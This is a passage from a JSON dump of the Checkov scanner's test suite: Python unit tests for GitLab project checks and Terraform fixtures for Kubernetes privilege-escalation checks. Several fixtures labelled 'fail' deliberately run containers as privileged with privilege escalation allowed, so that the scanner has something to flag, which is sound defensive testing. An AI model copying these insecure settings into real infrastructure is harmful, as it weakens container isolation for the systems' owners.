    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gitlab.RejectUnsignedCommits import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRejectUnsignedCommits(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_RejectUnsignedCommits\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"gitlab_project.pass\",\n        }\n        failing_resources = {\n            \"gitlab_project.fail\",\n            \"gitlab_project.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gitlab/test_RequireTwoApprovalsToMerge.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gitlab.RequireTwoApprovalsToMerge import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestRequireTwoApprovalsToMerge(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_RequireTwoApprovalsToMerge\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"gitlab_project.pass\",\n        }\n        failing_resources = {\n            \"gitlab_project.fail\",\n            \"gitlab_project.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_AllowPrivilegeEscalation/main.tf",
    "content": "#ignore as old tf\nresource \"kubernetes_pod\" \"unknown\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container = [\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n      ,\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22222\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ]\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#ignore as old tf\nresource \"kubernetes_pod_v1\" \"unknown\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container = [\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ,\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22222\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ]\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#ignore as old tf\nresource \"kubernetes_deployment\" \"unknown\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container = [\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          },\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22222\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          }\n        ]\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#ignore as old tf\nresource \"kubernetes_deployment_v1\" \"unknown\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container = [\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          },\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22222\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          }\n        ]\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = true\n        allow_privilege_escalation = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = true\n        allow_privilege_escalation = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = true\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            privileged                 = true\n            allow_privilege_escalation = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            privileged                 = true\n            allow_privilege_escalation = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = true\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\n#not set\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#not set\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        privileged = false\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            privileged = false\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#set to false\nresource \"kubernetes_pod\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = false\n        allow_privilege_escalation = false\n      }\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#set to false\nresource \"kubernetes_pod_v1\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        privileged = false\n        allow_privilege_escalation = false\n      }\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            privileged                 = false\n            allow_privilege_escalation = false\n          }\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            privileged                 = false\n            allow_privilege_escalation = false\n          }\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod\" \"unknown_2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\n\nresource \"kubernetes_pod_v1\" \"unknown_2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"unknown_2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n}\n\nresource \"kubernetes_deployment_v1\" \"unknown_2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n}\n\nresource \"kubernetes_deployment\" \"unknown_3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n  }\n\n}\n\nresource \"kubernetes_deployment_v1\" \"unknown_3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n  }\n\n}\n\nresource \"kubernetes_deployment\" \"unknown_4\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n    }\n  }\n\n}\n\nresource \"kubernetes_deployment_v1\" \"unknown_4\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n    }\n  }\n\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_AllowPrivilegeEscalationPSP/main.tf",
    "content": "resource \"kubernetes_pod_security_policy\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = false\n    allow_privilege_escalation = true\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = true\n  }\n}\n\nresource \"kubernetes_pod_security_policy\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = false\n    allow_privilege_escalation = false\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = true\n  }\n}\n\nresource \"kubernetes_pod_security_policy\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = false\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = true\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_AllowedCapabilities/main.tf",
